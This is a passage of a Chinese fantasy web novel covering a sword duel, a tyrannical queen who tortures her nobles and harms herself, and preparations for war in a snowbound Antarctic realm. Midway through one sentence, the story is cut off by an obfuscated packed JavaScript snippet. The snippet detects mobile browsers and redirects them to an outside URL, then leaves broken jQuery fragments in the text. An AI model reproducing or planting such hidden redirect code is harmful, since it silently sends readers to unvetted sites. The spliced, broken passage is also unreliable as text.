可是，铃兰太知道风信子的大名了，说如雷贯耳都是对其蔑称，这女人在风之部落内部就以好勇斗狠著称，近似白发的淡粉发色恰恰说明她的血统不算最优，是真凭自己的武学技巧夺得了族长之位，在冰雪女王请求风之部落改建风家军团时，又自顾自的离开，反映出她只关心剑术，不在乎天下大事。 对战这样一个混世魔王，任谁都不免发怵。 我开始说快的时候就已经是慢了，你开始惊恐的时候，剑就已经到眼前了，你耳边没有万物的杂音，你眼中只留下对手的身影，你身体自发的动起来，你内心仅有战斗这一个念头，这就是0元素使用者进行战斗时的感觉，远超普通人类的感官水平。 风信子率先发难，铃兰眼见她的直刺变上劈，还以为自己已经死了，因为这道剑光劈开了天地，但铃兰还能横躲，才知道自己的身体在意识之前先动了，然而风信子游动长剑横扫，这一剑绝对斩开了时空，因为铃兰眼中的光影都暗了一瞬。 她们起初的交手就打出残影，观众的动态视觉根本不足以跟上她们的移速，只能看清铃兰躲闪后拉开距离的瞬间，此外的时间全是黑影跃动，二人高速移动产生的风力让铁笼嗡嗡作响，狂风席卷全场将人们的发丝吹离了脸边。 这还只是风信子的热身动作，她把铃兰逼到适应了用剑反击后，才开始展示她犹如舞者一般的剑术美学，双剑游身卷，如龙蛇缠舞，顷刻变成两道在八角笼中猖狂搏斗的蛇影，撞的铁笼逐渐脱离地面，竟然只靠她俩的武技作用力就升到空中，突然炸裂，高速运动产生的热空气形成了巨大气团，冲倒大部分观众，一个矮小身影从气雾中飞出，撞凹三楼的铁门，原来是铃兰镶嵌在铁门里了。 她掰开铁皮，踢地，一个前冲就再回空中战场，而风信子在逐渐落地的铁丝之间空踏，用一个优美转身避开铃兰的直刺，并用腿踢开铃兰，铃兰受这一下就斜撞在地上，而她马上站起，风信子也落到地面，这两位0元素使用者之间的战斗惊懵了众人，这根本就是侍灵，人类绝不可能做到此等力量。 铃兰明白自己和对手之间的武者水平差距太大了，自己的剑从始至终都没碰到过对方的剑，更别说身体了，风信子还没拿出真本事，还游刃有余。 金发少女再度直面不可战胜的绝对强者，她咬牙，尝试重整斗志，却被世界这扑面而来的绝望穿透了身心。 输不属于我。 我再也不想看到无力的自己了。 铃兰在一瞬间凝聚人生中的所有觉悟，汇集到身心，前冲施展一命剑，她的身体，意识，灵魂三者都知道自己仅有这一个机会，趁对手还没拿出全力，攻其弱点。 剑技的冲击波沿途波及的地面全部炸散，极速压缩的空气甚至产生的刺耳的音爆，这一招不可躲避，绝对命中风信子，她看的清，相对速度之下，身体动作却来不及，情急之中，松剑，弹拨剑，剑转了一个花，挡在自己弱点的位置。 而铃兰到风信子附近之前忽然警醒过来，这是真剑比武，她急切调整的动作，剑只偏了一点点，就在这差之毫厘的瞬间，时间短的或许只有几微妙，风信子依靠铃兰的犹豫和自己的花剑动作，争取到了这一点点时间。 神童与天才的差距就此显现。 风信子只用看，就看会了真我剑术，她以难以想象的手速和肢体动作，抓住剑柄，反手变正手，也施展出一命剑，挡开铃兰的攻击并绕剑到铃兰颈侧，她也担心真剑伤人，于是侧划切断了铃兰的一条马尾辫子，二人撞在一起，铃兰被风信子撞飞出去。 双方的手下留情算一次平手，可风信子不再给铃兰机会了，她不在乎自己的动作不够优雅了，一个箭步直冲到铃兰面前，全力攻击。 而铃兰也不打算放弃，以剑招架了一下，自己的剑就被弹开，近身战无可躲避，自己尚有身形优势，铃兰施展绝命剑全力防守。 剑光融合剑气形成两道超速舞动的光柱，在地面纷繁乱飞，观众们怕波及自己，纷纷逃往更高的楼层，确实，二楼的的围栏和钢柱大量开裂，气雾和尘风爆发在整个服务局。 水平差距让风信子这次有自信能挡下一命剑，于是她在猛攻的同时留有一定的防守余地，铃兰耗到绝命剑无法持续后，勉强施展一命剑技，用剑技的螺旋风力撞开风信子，风信子后仰，单腿完成转身，蹬地，冲向滞空的铃兰。 滞空是没法躲避和蓄力的，风信子砍向铃兰的一瞬，就觉她的剑力比之前提升不少，二人在空中密集交锋，撞落到地面继续交战，铃兰的每一剑都比上一剑更快更强，每刻都在超越自己的极限，这使得风信子拿出全力，却只能勉强招架。 她拖到自己的一命剑恢复后，使出关键一击，可铃兰在极限时空中再度对剑，双方的黑剑都因这一决胜之击碎裂消失，而铃兰居然能瞬间再组黑剑，风信子觉察出自己有生命危险，躲了两步，跳上高空。 她看金发少女晕倒在地，想若不是自己实力在其之上，根本没机会躲开。 “红莲你教这孩子什么邪门剑术，太不美了，我认输。” 风信子把话撂下在身后，一转眼便消失了。 剑术比赛闭幕了，这场战斗让人们明白，南极有了可以比肩灵能科技的某种力量，只不过，需要剑术素质，这算是绝望中的希望，大家全力学习真我剑术，内陆到处是切磋剑术的对战，铃兰在三天后醒来，同伴再见到她时，发现她的黑色大衣背后印着天下第一。 红莲收到一条通知，她原本以为是玛丽安下达的指挥比赛通知。 23. 章23南极：恶的传承 小说作者我任职过夜星南极三代君王的内务官，深知当王是件苦差事，如果你是普通人，犯错积累的痛苦大概率还能让你平静的走完人生。如果你是王，犯的错会蔓延到整个世界，即便你无视错误导致千万人痛苦或死亡，当王的乐趣，在体验上与普通人没什么不同，吃喝拉撒，唯一可被常人羡慕的优势，就是有无上荣光和欺辱别人的权力。 我受欺辱会向往公平，不能理解为什么有人会羡慕欺负人的地位，将自己的痛苦施加在别人身上，自己也会堕落成自己曾经讨厌的人。欺软怕硬这样的荒谬欲望横行了数千年后，人类迎来末世，最后还要折磨这位曾经纯真的公主。 银雪这个名字好听吗？ 这是冰雪女王爱抚着孕育罐，看着尚未出生的公主时，问我的话。 女王说自己性格太过温柔，无法适应夜星残酷的时局，银是如雪般漂亮的金属，她希望继承人能比她再刚强一些，这样才能继续领导大家面对困境。 我看着公主成长，她有女王血脉赐予的聪颖，全心全意的学习如何当贤明的君主，还游历风千阳三家的军营，增长自己的阅历。我和众人一起许愿，即便毁灭之日来临，能同这样的女王一起赴死，我们无怨无悔。 变故看似荒诞，实际是恶念要把人类文明的最后一点慰藉扼杀在摇篮里。 风家主扣留冰雪女王遗体并擅自离开北海岸阵地，导致南极失去出海口，引发三家争权。 阳家主和千家主全然不顾夜星人类的存亡，密谋自立，只为自己能站在众人头上，欺压众人，她俩百般折磨银雪公主，意图摧毁她的精神，使她成为乖乖听话的提线木偶。 阳荷，我，玛丽安三人营救出银雪女王后，女王再无天真，我永远记得她纯洁美丽的脸上泪流满面，咬牙切齿的说出她们不会放过我！ 杀光她们！ “茧，茧。茧！” 我抬头仰视恶毒女王，她坐在人山上，淡粉色的长发上戴着荷花浮雕的黄金王冠，稚气可爱的脸和凶狠表情形成强烈反差，孔雀羽毛造型的披风环绕在黑纱布条包裹的柔美身体周围，脚下是由不穿衣服的贵族侍女叠成的三层人体台阶。她掌权以来，这样不分昼夜的沉迷欲爱和折磨别人的快感，每天都有人死去，而她彻底尽兴后，才孤独的睡去，在惊恐中醒来，再重复着传递痛苦的一天。 “你想什么呢！” “我走神了，请您原谅我的失礼。” “哼！” 我就是茧，急忙专注记录女王教导继承人的过程，而她不忘再此提醒我的职责。 “把我的话都记下来，让紫洋带回去。你回去后，要好好研究，下次召见，我要考你对这些哲理的理解！” 她的后半句话是对人体台阶下方半跪的紫洋说的。 紫洋仰头，脸色一改往日的嚣张傲慢，变得像个犯了错的孩子，一脸悲伤。因为富丽堂皇的觐见大厅里，充斥着各种腥味，即便女官们每日尽力清洁，第二天还是这样腥臭难闻。 “母上大人，我不明白您说的这句话：历史上的昏君，就是对皇帝身份的反抗。” “那说明你还有善心！你这样一定会被她们害死！抽自己十个耳光！” 宽广的大厅里，回荡着金发女子抽打自己脸部的声响，这声音掩盖了人体台阶的成员们发出的轻微吭声。（注释：继承人混合了多人种基因，所以发色不同。） “好！打的好！你自己打碎你的无知善意！世人什么德行？她们假装自己善良老实，实际上！她们只是无能！弱小！愚蠢！指望别人给自己带来好处，这些希望汇合成权力！当年三家动乱的权力哪来的！她们人人有份！一有机会就会杀死你我！” 恶毒女王说到愤恨之处，用高跟鞋狠踩王座下方跪着的人体台阶。 “所以！我们凭什么如她们的意！带来好处？哈哈！笑死了！我要畅快取乐！紫洋啊，你知道快乐的源泉是什么吗？” 紫洋低下头后说：“请母上大人示下。” “哼哼！一切快乐的本质都具有否定性质，而痛苦则有着肯定的本质。我做正确的事，为她们服务，等于她们把痛苦转嫁给我！凭什么！我也要快乐！我要否定她们给我规划好的正确！我喜欢恶毒女王这个称号，代表这些卑鄙小人害怕我！乐趣就藏在罪恶之中！历史上的无数强者都化身恶龙！因为人类只配被恶龙统治！昏君才是我们该做的，懂吗？” “可是，不做正确的事，人类就会灭亡啊？” “那就让她们灭亡啊？哈哈！毁灭吧！赶紧的！我问你，紫洋！世界是今天毁灭的吗！不是！历史上无数代人的愚昧和怠惰，导致世界早已毁灭了！所幸强者们给后继者留了一条进化之路，你我管好自己就行了。” “感谢母上教导，我退下了。” 紫洋缓缓起身，双手拉展了裙角，弯腰行礼后，单手轻按脑后的紫色蝴蝶结，确保金色长发规整有序，转身就要离开。 “我听说六局最近组织过什么活动？” “啊？回母上，只是切磋一下格斗技巧。” “哼。这事，我不问你了，免得你在同辈人之间不好做人，回去吧。” 茧把电脑递给紫洋后，两人一起出了宫殿，紫洋走下白石台阶的时候，止不住的连声叹气，越走越靠边，身穿黑色衣裙的她，独自拐进小道的身影，尽是无奈和哀伤。 而内务官要懂女王的话外音，于是茧前往巨墙内的军营，对玛丽安下达女王的召见命令。 玛丽安在路上询问茧，女王近期的动向，玛丽安和女王是关系最近的闺蜜，生死之交，所以茧没隐瞒，说了女王最近单独召见过晴灯博士，还密会了一队近侍武官，不知谈话内容。 玛丽安带剑入宫，一路畅通无阻，军人出身的她，步速极快，走到觐见大厅门前，门卫还没来得及推开沉重的大门，而她单手就将大门推的大敞四开。 她一看恶毒女王又弄人体台阶取乐，就说：“请您别在玩这种事了，还非要在觐见大厅搞，去后宫搞啊，什么味，太难闻了。” 她摘手套，甩风，想驱散味道，门卫关门时，她还想阻止，茧顾及女王的威仪和她们谈话的内容，还是让门卫关上大门。 恶毒女王从人体台阶上奔跑下来，急切的心情险些让自己摔倒，她一跃扑到玛丽安怀中，一身黑色军服的红发将军拥抱着粉发少女，她们的感情无比坚贞。 “你两周没来看我了。” “北极似乎快要动手了，内陆六局的人，多少算点战力，我得组织她们拖延北极进攻的步伐。哎，茧，让她们撤了，太难看了。” 茧组织女官们用担架抬走跪着的贵族们，她们因为跪的太久，手腕和膝盖都出血坏死了，底层内部的贵族又死了三人。 玛丽安见状，稍显严厉的说：“我早说过，不要弄死人了，银雪，够了吧。” “叫我恶毒。” 她说完，推开玛丽安，走到死者身边，用鞋尖踢死者的头，为了凝视那人的死相。 “姐，除了你和茧，我想把她们都弄死。可没了这些废物还怎么做王呢？哈哈！所以我才纵容你保护她们。你别管我的娱乐，我不管你自我满足的善心。可话又说回来，你不该拿我们的感情徇私。” “我怎么徇私了？” “业凰有一个风家的余孽，你们搞的什么剑术比赛，风信子出现了，那女人武艺高强，随时能潜入宫殿杀了我，可你当初说她已经死了。” 玛丽安焦躁的走近恶毒女王，想搂抱她，却被她躲开。 “没有风信子带来0元素，我们怎么可能掌权？我杀光了风家全族，还不够吗？她要报仇，也是找我！你放心吧，我放她走，还骗你，很抱歉，是我的错。” “那业凰的那个小孽种呢？改了名字，叫玉珊瑚了。” “她在业凰灵能科学院，那是灵能会的地盘，我们现在不要轻易招惹灵能会为好。” “哼。” 恶毒女王坐到整理好的王座上，咬着嘴唇，久久不能说话，玛丽安在她心里，是唯一的亲人，朋友，靠山，所以她最不愿意跟玛丽安发生任何不愉快，这对姐妹之间，小心翼翼的避免权势污染感情。 “那我还是问业凰的新任会长吧。” “可你自己就是风家血统，何必这样赶尽杀绝呢！” 女王听到这话，激动的站起，把王冠狠狠的摔在地上，疯狂的怒吼，用美容师精心打理的长指甲，刺入自己的小臂肉里，狠狠的向上拉着。 玛丽安冲过去，制止她，抱紧她，看她鲜血淋漓的手和胳膊，两人都哭了。 她们的痛苦，是传承万年的人心隔阂所施加在人世的浓厚恶意，一旦注入人心，就挥之不去，血与恶浸透了这对姐妹，有谁能给所谓的历史周期律划上一个休止符呢。 希望的桥梁 远在业凰科学院的红莲还是收到了恶毒女王发送的召见通知，从名义地位上说，业凰会长低于南极女王，但从阵营地位上说，灵能会的一切机构都是人类不配管辖的。 夜幕苍穹之下，南极最南的花白群山之中有一片灯火通明的城市，一队人影在城区东侧的雪山上翻越穿行，城区下方像被神力切了一样，有一道延伸万里的竖直巨墙，红莲驾驶雪橇摩托疾驰，望见墙下的雪原构筑了一圈防御阵地。 不计其数的运输车在阵地周围行驶，化工筑冰机建造的工事内部安装了中口径火炮，后方有融冰机开凿的战壕网络，红莲在哨卡处等白猫卫兵检查完通关证件，她进入战壕，周围的黑衣军士往来频繁。 她随人流上到地面，是第二道防线，设有大量防空火炮和非制导火箭，这是依靠饱和弹幕的防空系统，北极天家有高超的电子战技术，任何制导武器都无效。 红莲越过防线后，才看到军营，是密封居住舱和保温帐篷混用的大片营地，她目测约有五万名0元素战士和六万名白猫在此守备。 侍卫带她进入总指挥所，玛丽安放下作战地图，热情的与她握手。 “红莲你来的正好，帮我看看防线部署，哎？我没叫你。” 玛丽安话说了一半，就想起恶毒女王的话，知道了红莲的来意。红莲铺开纸质地图，大致看过，发表看法。 “服务局的主体建筑能耐受远程火力打击，应该依托该要塞构建防线，范围更广，可以派冲锋队发起弹性防御战术，还有机会向东西两侧突围，你现在这样收在首都城下，被围住就会受到远程火力覆盖，想突围还会受到服务局处敌人的截击。话说，指挥布防后勤都是你一个人干么？” “哎~我臭名远扬，不像你有那么多得力干将啊，这不，手下只有龙葵和金钟。” 玛丽安为红莲介绍自己的下属副官，是高个黑发女子和金发少女，红莲跟这两人握手后，玛丽安看表后说：“红莲你先去吧，返回时到巨墙内的指挥部找我，谈接下来的训练计划。” 代表新一代人才的红莲身上没有旧势力的阴影，她步履轻快，走到巨型城墙的正下方，无数升降机铺满了墙体表面，红莲一时还没找到可以搭乘的位置，大量战略物资从首都城内运往外部，红莲抓着围栏钢索，踩住货箱的角，逐渐上升，看到别的升降机将装满黑色溶液的大型罐子向下运输，说明玛丽安要给六局的人发放0元素了。 红莲升到城墙顶部，这里宽的离谱，约有八万名军士在此集结，她们在寒风中却穿一身黑色短袖短裤，是有0元素能量场护体的战士了。这样的黑色人潮中有一人穿着白大褂，分外显眼，她一眼就认出是母亲晴灯。 “晴灯！你干嘛呐？” 红莲见到母亲就活泼的拍她肩膀，晴灯聚精会神的指挥军士们搬运0元素存储罐，转身看到女儿，二人兴奋的拉手转圈。 “喔喔！好久不见你，想死我啦！这不听从玛丽安指派，运输罐子嘛。” “噢！你最近过的怎么样？” 晴灯被红莲一问就情绪低落，单纯的她有什么心事都露在脸上。 “没什么，挺好的。” 红莲观察她一番，发现她也没穿棉衣，缺乏运动的她，按理早就冻的瑟瑟发抖了。 “你也服用0元素了？” “老了，怕适应不了，注射了一点点，能抗寒和免疫疾病就够了。” “噢，注意安全。” “玛丽安把我保护在城墙里，你不用担心，我想做点力所能及的事情。对了，我之前在城区遇到东南西北那四个小孩了！” “哦？” 红莲一时想不起来是谁，晴灯单手比划那些小孩的身高。 “噢！对！事情太多，我忘记了。” “她们到南极没能入学业凰，被当奸细抓了，不停的说认识你，玛丽安就把她们安置在首都，我发信息让她们过来。” “让她们到主干道等我吧。” 南极首都风花白夜宫城分为三层城区，红莲正走过的城区尽是些残破石板搭建的房屋，其实每个房舍内部有密封居住舱，环境极好。主干道有一千米宽，直穿三个城区的中线，人来人往，一个小孩不顾一切的向红莲跑来，白色短发上的小辫子一跳一跳的非常可爱。 “红莲姐姐！” 红莲双手举起她转圈，两人喜悦之情难以言表，互相亲吻脸颊。 “抱歉，我忘记来找你们，那三个呢？” “没事，这里的人比博物馆都市的人好多了，那个红发将军也很好，东南西怕冷，窝在居住舱里不出门，哈哈。” “噢，不出门也好，最近可能爆发战争，你们搬到晴灯那里去住吧。” “橡树哥哥呢？” 红莲作了一个嘘的手势后继续说：“我还有公事，有机会再见吧。” 她辞别小北，沿主干道向南走，能看到高耸的梯形排列的防空城墙，该墙是以三角形平台组成的蜂窝状防空体系，每个平台上都有一组防空武器系统和精锐小队执勤，墙下是第中层城区，建筑外观仍采用石制，只是比第一城区的房子更漂亮大气。主干道在防空墙处收窄，宫廷近侍武官上前盘查红莲，看到信息板内的女王召见通知就放行。 防空墙后就是大片高低错落的石柱大厅，千级台阶从这里开始，红莲快步走到台阶顶部，是一片宽阔石砖地面，后方是多栋壮观的石柱大厅，头戴黑帽的卫兵走近红莲，有六人在前后左右四个方向包围她，带她前往觐见大厅，红莲注意到她们帽徽是三星标识，证明恶毒女王已经得知红莲是五星级别的0元素使用者。 一对大型红门缓缓打开，扑面而来的是浓重的香料味混合了淡淡腥味，还有些血的味道。 圆形石阶上有一尊黄金王座，一个浅粉发色的女子坐着，头戴金冠，身缠黑纱，一脸不屑。她的王座下方两侧各站一队女官，有一个穿灰袍的少女走近红莲。 “您好，红莲会长，我是南极王宫内侍官茧，按外交礼仪，您需要半跪行礼一次。” “好的。” 红莲半跪低头，再站起，正视恶毒女王。 女王的情报网搜集过红莲的资料，知道她曾是天家主的属下，但不清楚她为何成了业凰科学院的会长，现在看她头戴大檐黑帽，身姿挺拔，黑色的长发和衣裙尽显潇洒，清冷面容有着锐利的神态，果然是强势的人物。 “我不喜欢绕弯子，红莲，把风家二公主交出来。” “谁？” 女王听完就面露凶相，近侍武官队长迅速集结了三十人，在红莲的左右列队。 “我真不知道什么二公主。” “叫玉珊瑚！” “她是业凰的社员，我有义务保护她的安全。” 侍卫同时变出黑剑，齐刷刷指向红莲，她也变黑剑在手，红莲的个性就是这样，不惧一切威胁。 硬的不吃，那就从软弱下手，恶毒女王深谙害人之道，她一瞬变脸，摆摆手并嬉笑起来，侍卫们茫然的收剑，侍卫武官队长转身出宫了。 “红莲将军，你既然投靠南极，就该融入我们，业凰不过是些手无寸铁的社员，我看在灵能会的面子，才没派兵抓人，你又何必为一个小喽啰坏了我们之间的和气呢？” “若是理念不同，我就无法融入。” “理念？哈哈！我以为天家主手下尽是些唯利是图的家伙，好！那我们就聊聊理念。” 恶毒与红莲周旋的时间里，一队侍卫早已从首都雪山小道下山，全速狂奔，径直冲向业凰科学院，到达业凰后花园被铃兰挡住，侍卫诈称红莲在首都遇到急事，需要玉珊瑚前往，铃兰带她们到橡树住所，玉珊瑚恰好在中层的图书馆看书，侍卫们正要去找，被橡树拦下盘问，时间越拖越紧，侍卫们听闻橡树是红莲的妹妹，无奈带他返回首都。 其实女王近期向外界派出密探都被玛丽安设置暗哨发现了，这次密探在业凰走了个来回，还多带了一个人折返，加上女王故意支开红莲，玛丽安收到情报的瞬间就察觉了事态的严重性，她亲自带队截住这伙侍卫，将橡树扣押在巨墙内的指挥部里，晴灯住在隔壁，她和橡树交谈一番，推测南极即将发生大事，晴灯悄悄的把自己珍藏的小手枪塞给橡树，让他藏进身体里，用以防身。 细想这事件的过程，恶毒女王手段迅速，也只有熟知她心思的玛丽安能在第一时间破解，要不怎么说只有最亲近的人能懂她呢。 宫殿内的红莲沉浸在说服恶毒女王的过程里，听她一会儿赞同，一会儿反驳，女王看到侍卫们气喘吁吁的返回了，就话锋一转。 “你刚才说南极人众志成城，自愿一起抵抗灵能会入侵是吧？” “我觉得大家都很有骨气，无论胜负都愿决一死战，您有这样的民众是您的福气。” “啊对对对！你说的都对！我问你胜率如何，你说几乎不存在获胜的可能。” “我不习惯骗人，灵能会无论是兵力，还是科技都全面碾压南极。” “那我凭什么反抗人家啊？打不过就加入！” 恶毒女王眼见红莲皱了眉头，猛然发现自己语失，马上找补。 “你们想死就去死！反正内陆的人就是用来送死的炮灰，我没空搭理你们，等一切尘埃落定，我和天家主再搞和谈，反正历代南极王都是这么做的，你滚吧。” 恶毒女王突然放弃追究玉珊瑚，瞎扯一通就将红莲打发出来，这份强烈的诧异感，使得红莲犹犹豫豫走下石阶，回想天家主教授的各种心术，还是想不出恶毒女王在搞什么把戏，而且她已经得逞了，未知的恐惧感迫使红莲快步走完台阶，在主干道上疾奔。 恶毒女王和天家主确实很相似，区别之处就是天家主智慧更多，格局和视野更高，目标更大，所以天家主不屑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875301|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于使用下作手段胁迫别人，因此红莲还没见过真正的恶徒，当她奔往巨墙平台的升降机处，玛丽安和晴灯早已在那等她。 红莲的眼神呆滞而冷血，她痴痴的看着玛丽安。 玛丽安抿抿嘴，双手紧握红莲的肩膀。 “恶毒派人去抓玉珊瑚，被你妹橡树一拦，带她来了，被我扣住了。” “希望你能保证他们的安全。” “红莲，我以性命担保橡树和晴灯的安全，我们没有时间了，必须分发罐子，这样你们就从恶毒手里解脱了，我冒着比你大百倍的风险和压力！指挥比赛必须进行，让人们习惯0元素的战斗方式，我们走！” 玛丽安指挥全军和物资尽快下城，带红莲到指挥所探讨比赛细节，她言辞认真，调度果断，是真豁出性命以及一切。 “十一罐0元素都运下来了，怎么分？” “啊？得问晴灯。” 晴灯进帐，说明了每个罐子够三万人转化成0元素使用者，于是业凰科学院分得二罐，第一工业局分得二罐，其他局各一罐，其余留给首都卫戍军团的十万军士使用，剩余0元素倒掉，使其自行消散，免得落入敌手。 恶毒女王的信使刚进帐，就被玛丽安支走了，如今0元素罐已经运往各局，新的时代开启了，玛丽安感觉什么东西正在离自己远去，可她反而感到轻松，让每个人都为了自己的命运搏一搏吧，重担消失的轻松。 “红莲，接下来，该怎么办呢？” “规则就是一方局长认输，我先挑战其他局，我输了，再由胜者继续挑战。双方人数相等，都带三万人吧，武器用铁棒，枪械也可以，武器被破坏就退场。关键是编制，这场比赛意图有两个，一是选出指挥水平最高的将领，带领大家。二是让人们熟悉怎么跟侍灵作战。” “看来你早有预谋！” “我觉得赢不了，却从未放弃搜集能赢的线索。普通侍灵为什么使用刀呢？” 这问题勾起了玛丽安的兴趣，她摸着下嘴唇，认真的听着。 “它们是能量生命体，力量来源于身体，如果使用枪械的话，意味着它们要把身体中的能量发射出去，这样做很亏，所以用刀。同理，0元素使用者属于半肉身半能量的生命体，也是靠刀剑攻击，而且0元素是液态金属，不像灵能那样可以发射，即便能，也是损耗自身的0元素。所以工业革命发展到4000多年后，反而变回了近身战，这是高阶文明的战争科技发展到最高阶段的必然选择。所以我一直研习剑术，运气很好，得到了真我剑术。” 帐内的参谋官们和玛丽安一同敬佩红莲的远见。 “不过，我在北极内陆的工业带见过灵能会有各种远程武器，这就是敌人的强大之处，它们奢侈到有多余的能量用于发射。反过来想，灵能对它们来说是宝贵的资源，所以我推测在第一阶段的战役中，我们不会遇到太多的远程武器，大概在首都方向会有。据此，我指定了这份编制。” 红莲说完，变出0元素信息板，玛丽安和众人一起查看。 班5人 小队25人 中队125人 联队625人 集团3125人 集群15625人 红莲继续讲解：“潜意识支配0元素能量场在足底模拟重力，这让人很容易习得高速滑行能力，夜星广袤的雪原提供了天然的滑雪场，据此，0元素使用者，嗯？就叫队员吧，队员的战斗方式极似远古时代的骑兵。” “骑兵？” “对！冲击，分隔，以多打少，再快速撤离。优先保证队员存活，其次杀敌，这就需要多人配合，三人在前攻击时，队中一人随时补位，替换0元素存量减少的队员，一人殿后。三人的存量不够维持攻击时，转换成四角防御阵型撤退，五人编队互相掩护，足以支撑到完全脱离战斗。以五为晋级，各级指挥官的视觉显示中，应有五个标识，实时了解各级队伍的0元素存量状态，根据状态，调整战术，到时的战场局势是各班各自为战，很像蜂群，所以最大的编制用了集群这个称呼。请晴灯博士帮我们做这个辅助系统。” “简单，40分钟搞定。” “至于通信手段，意识通信的范围只有100米，就电话线加传令兵凑合吧，以后靠晴灯博士开发更远的0元素通信方式了。” 众人议定完毕，派出车队向各学院分发编制和指挥系统。 帐中只剩两人，红莲坐正了，观察玛丽安，她一身戎装，长发红亮，身段和神态有着年长女性的风韵和气度。 “玛丽安，我的朋友，我想聊聊关于命运的话题。” “命运？命运啊。我从孕育罐基地降生就开始学习和锻炼，努力适应命运，直到冰雪女王被害，时局动荡，我顺应本心，做出抉择，剿灭三家。然而，我当初的行为促成现在的牢笼，深感命运弄人。红莲呢？” “牢笼吗？我的母亲是位傻傻的疯狂科学家，科研成果被同事剽窃，没有朋友。她想拥有亲人，便从黑市购买孕育罐，私自培育我，技术不足导致我六岁就从罐里出来，每天承受剧痛，我当时觉得活着就是牢笼本身，死就是认输。” 玛丽安听着，笑了。 红莲也笑，继续说：“外界施加给我的痛苦，让我明白一切信息都有其主，谁都不配左右我的命运，我要自己掌握命运，这是我唯一的自私。” “好一个自我的狂人！” “嗯？” “我懂大家为什么喜欢你了，你的追求既愚蠢又纯粹，是每个人内心深藏的愿望，大家一见你眼中的固执，发现居然有人追求这种幻想，情不自禁的追随你了。” “是吗？” 前途未卜，玛丽安向往由红莲创造的新世界。 “聊聊梦想吧？” “你还是有梦的少女啊？” “坏丫头，笑话我年龄大是吧？” “什么梦想？” “想看看蓝天，你呢？” “我不说，回了！再见，玛丽安将军。” 红莲忽的站起身，对玛丽安敬礼，转身离开。 她不想久留，以免心生疑虑，被玛丽安看出她有疑虑的话，更是对两人托付此等大事的背叛，可她又想多留一会儿，女性的敏感隐约觉得，玛丽安好像身处绝境，她一人扛起了新旧时代的断面，且孤身一人。 花海的武备 当我们意识到自己没勇气或者不适合当世界的主角，我们只愿把可能性托付给她，勇气与执着的化身。从黑家主的偶然教剑，到天家主的细心培养和全部见识，再到无名师父的毕生所学，贝莎的让位，玛丽安的放权，各位强者共同把人世间最大的难关让给了红莲。 指挥比赛仅有一天准备时间，各学院同一用精钢长棍当剑，几乎放弃了枪械，因为根本不可能命中并破坏高速挥动的钢剑。 小说作者在这重新介绍一下服用0元素的效果，环境中就有种驱动野外机械生物的未知能量，0元素是连接人体意识和未知能量的通道，进入人体后会立刻被神经系统溶解，根据人脑的潜意识形成体内外能量场，通过消耗能量，保护人体不受任何伤害，流失的能量会从环境中缓缓补充。 使用者表现为不怕高温和低温，生化病毒辐射等等，全身免疫一切低能量打击，刀剑子弹炮弹核弹等等，主意识还会在人体外形成一物质化的元素，表现为黑色的衣服，用以防御要害部位。 0元素星级，每提高一级，代表该使用者的能量总量翻倍。 由于体外0元素较少，衣服款式尤为重要，大多数人沿用玛丽安部队设计的队服，普通一星队员采用短袖夹克和短裤，二星队员改成长袖夹克和短靴，三星队员多了黑帽，长靴，黑色连身内衣（有的队员不习惯0元素内衣，就在队服外披一件0元素斗篷）。 四星级队员实力发生质变，不再拘泥最高效的款式，就各自按需和美观度自定义服装，实际上，所有星级的服装都可以自定义，只不过0元素太少的话，设计成全身覆盖的衣服就会导致衣料很薄，失去保护要害的作用了，不过队员们仍按自己喜好微调制服，细看每个人的服装都不一样。 辅助系统包括队员的视觉内设显示数据，有0元素存量条，上司名字，队友存量条，地图，战报简报，通信人名字，信息板按钮，注视加心语可以控制这些信息，还可以用意识通信。队员变出信息板，像平板电脑的设备，具备电脑的全部功能，最重要的是可以安装和更新最新的辅助程序，实现自定义服装，完善视觉显示等等功能，队友之间可以更新辅助系统。 队员的战斗意志能变出黑剑，标准的黑剑是单刃直刀，三星以上队员能用信息板调整自己的武器形状。有战心却没战意的队员就变不出武器，某位宫廷内侍官变出过指甲刀就匿名吧，这样的队员就是后勤队员。 以上种种功能很像游戏，但很遗憾这不是游戏，我们只是参考电子游戏的战斗功能设计，为了最大程度的利用0元素，打造速力攻防兼备的作战体系。 对手是拥有外星科技的强大军队，队员只不过是身穿防护服且有近肤防护罩的人，稍有迟钝懈怠，就会被极能量束耗光0元素存量，因此指挥配合沟通全要在战斗和移动的过程中进行，我们是用勇气，智慧，技巧和不服绝望的精神，战斗到最后一刻。 24. 章24南极：指挥术比赛 “一定要走吗。” “贝梨待我不薄，每个人都有自己的命运。” “我难以报答你。” “别这么说，我不过是做个顺水人情罢了。” 造型优美的白色建筑群环抱业凰底层的圆形广场，白山清水环绕的假山之中，数万名贝家的金发人整装待发，贝莎一身洁白连体衣，单手优雅的将大螺旋卷发拨到身后，最后看一眼她管理过的美丽科学院，无声轻叹，转身往城外走去。 熙熙攘攘的贝家社员在业凰科学院北侧的雪原集结，红莲在此安排了数千辆运输车，南极社员为她们分发棉衣。 “不用了，家主大人会安排飞艇来接我们，红莲你总是这么周到。” 贝莎说完，红莲帮她系紧棉衣带子，二人相视一笑，却有些不能言明的惆怅。 “贝莎，你该留下来。” “我害怕啊，哈哈，你知道我们贝家人吃不了苦的，战争，疼痛，心痛，一点都不优雅。” 她们一起笑着，贝莎继续说：“所以对不起，我们逃了，佩服南极的女孩们。” 她后退几步，对红莲众人鞠了一躬，北方两山之间的雪牢关上方，急速驶来一架巨型飞艇，红莲认出就是曾在北极实验都市上空照明用的飞艇，比灵能飞艇小不少，飞艇降落到雪原上，贝家社员陆续登船，红莲跟贝莎走到船舱边，贝莎轻扶红莲的肩膀，示意够了。 “今日一别，不知何时再相见，红莲呐，我坚信你能胜利。” 她俩之间，没法说再见，红莲伸手拉她，黑袖中的白手套和白色连体衣的手套接触，擦指而过，贝莎背对红莲，快走两步，单手在脸上擦着，飞艇舱门快速抬升，启动，向北飞走。 